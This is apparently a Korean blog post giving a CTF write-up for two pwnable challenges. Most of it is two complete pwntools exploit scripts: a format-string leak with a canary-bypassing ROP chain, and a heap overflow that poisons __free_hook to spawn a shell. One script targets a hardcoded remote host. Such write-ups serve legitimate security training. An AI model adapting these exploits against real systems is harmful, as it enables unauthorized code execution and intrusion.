Post

Poc Ctf 2025 writeup

포너블 문제가 총 3개 나왔는데 3번째 문제는 12시에 추가되어서 한 시간정도 보다가 못 풀었다..

fsop 이용하는 문제였던 거 같은데 한동안 안했더니 다시 공부해봐야 할 것 같다.


PWN 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
from pwn import *
import re, sys

BINARY  = './chall'
LIBC    = './libc.so.6'

LIBC_LEAK_SUB   = 0x1d2b03    #
BUF_OVERFLOW_OFFSET = 0x148 
POP_RDI_OFF     = 0x277e5     
RET_OFF         = 0x26e99     

context.log_level = 'info'
context.binary = ELF(BINARY)
libc = ELF(LIBC)

def leak_values(p):
    p.recvuntil(b'ur name:')
    p.sendline(b'%p_%47$p')    
    raw = p.recvuntil(b'send your msg:', timeout=2, drop=True)
    s = raw.decode(errors='ignore')
    log.info(f'raw leak: {s!r}')
    nums = re.findall(r'0x[0-9a-fA-F]+', s)
    
    leaked_ptr = int(nums[0], 16)
    canary     = int(nums[1], 16)
    return leaked_ptr, canary

def build_rop(libc_base):
    pop_rdi = libc_base + POP_RDI_OFF
    system  = libc_base + libc.symbols['system']
    binsh   = libc_base + next(libc.search(b'/bin/sh'))
    ret     = libc_base + RET_OFF
    return pop_rdi, ret, system, binsh

def exploit(host=None, port=None):
    p = remote(host, port) if host and port else process(BINARY)

    leaked_ptr, canary = leak_values(p)
    log.success(f'leaked_ptr = {hex(leaked_ptr)}')
    log.success(f'canary     = {hex(canary)}')

    libc_base = leaked_ptr - LIBC_LEAK_SUB
    log.success(f'libc_base  = {hex(libc_base)}')

    pop_rdi, ret_g, system_addr, binsh_addr = build_rop(libc_base)
    log.success(f'pop_rdi    = {hex(pop_rdi)}')
    log.success(f'ret gadget  = {hex(ret_g)}')
    log.success(f'system     = {hex(system_addr)}')
    log.success(f'binsh      = {hex(binsh_addr)}')

    p.recvuntil(b'send your msg:', timeout=0.5)
 

    payload = b'A' * BUF_OVERFLOW_OFFSET
    payload += p64(canary)
    payload += b'B' * 8                
    payload += p64(ret_g)
    payload += p64(pop_rdi)
    payload += p64(binsh_addr)
    payload += p64(system_addr)

    log.info(f'payload len = {len(payload)}')
    p.sendline(payload)
    p.interactive()

if __name__ == '__main__':
    if len(sys.argv) == 3:
        exploit(sys.argv[1], int(sys.argv[2]))
    else:
        exploit()

image1.png


PWN 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
import re, time, sys

TARGET_HOST = '34.252.33.37'
TARGET_PORT = 32734
LIBC_PATH = './libc.so.6'  
PAD = 0xb0                 
TIMEOUT = 3

context.log_level = 'info'
libc = ELF(LIBC_PATH)

p = remote(TARGET_HOST, TARGET_PORT)

def menu(choice):
    p.recvuntil(b': ')
    p.sendline(str(choice).encode())

def create_raw(content: bytes):
    menu(1)
    p.recvuntil(b'Enter the note content: ')
    p.sendline(content)

def create(content: bytes):
    menu(1)
    p.recvuntil(b'Enter the note content: ')
    p.sendline(content)
    end = time.time() + TIMEOUT
    while time.time() < end:
        try:
            line = p.recvline(timeout=0.5)
        except EOFError:
            raise EOFError("remote closed while creating")
        if not line:
            continue
        m = re.search(br'Note created at index (\d+)\.', line)
        if m:
            return int(m.group(1))
    return None

def read_note(idx:int):
    menu(2)
    p.recvuntil(b': ')
    p.sendline(str(idx).encode())
    try:
        return p.recvline(timeout=1)
    except EOFError:
        raise

def modify(idx:int, data: bytes):
    menu(3)
    p.recvuntil(b': ')
    p.sendline(str(idx).encode())
    p.recvuntil(b': ')
    p.sendline(data)
    end = time.time() + TIMEOUT
    while time.time() < end:
        try:
            line = p.recvline(timeout=0.5)
        except EOFError:
            break
        if b'Note modified successfully' in line:
            return True
    return False

def delete(idx:int):
    menu(4)
    p.recvuntil(b': ')
    p.sendline(str(idx).encode())
    end = time.time() + TIMEOUT
    while time.time() < end:
        try:
            line = p.recvline(timeout=0.5)
        except EOFError:
            break
        if b'Note deleted successfully' in line:
            return True
    return False

def leak_printf_from_menu6():
    menu(6)
    for _ in range(6):
        try:
            line = p.recvline(timeout=1)
        except EOFError:
            break
        if not line:
            continue
        m = re.search(br'0x[0-9a-fA-F]+', line)
        if m:
            return int(m.group(0), 16)
    return None

leak = leak_printf_from_menu6()
libc_base = leak - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
log.success(f"printf leak: {hex(leak)}")
log.info(f"libc_base: {hex(libc_base)} system: {hex(system_addr)} __free_hook: {hex(free_hook)}")

idx0 = create(b'A')        
idx1 = create(b'B')         
if idx0 is None or idx1 is None:
    log.warning("couldn't parse created indices (continuing)")

delete(1)

payload = b'A' * PAD + p64(free_hook)
log.info(f"sending overflow ({len(payload)} bytes) to set fd -> {hex(free_hook)}")
ok = modify(0, payload)
time.sleep(0.05)

create(b'C')             
victim_idx = create(p64(system_addr)) 
log.info(f"wrote system via create at idx: {victim_idx}")

bin_idx = create(b'/bin/sh\x00')
log.info(f"/bin/sh created at index {bin_idx}")
delete(bin_idx if bin_idx is not None else 2)

p.interactive()

image2.png

This post is licensed under CC BY 4.0 by the author.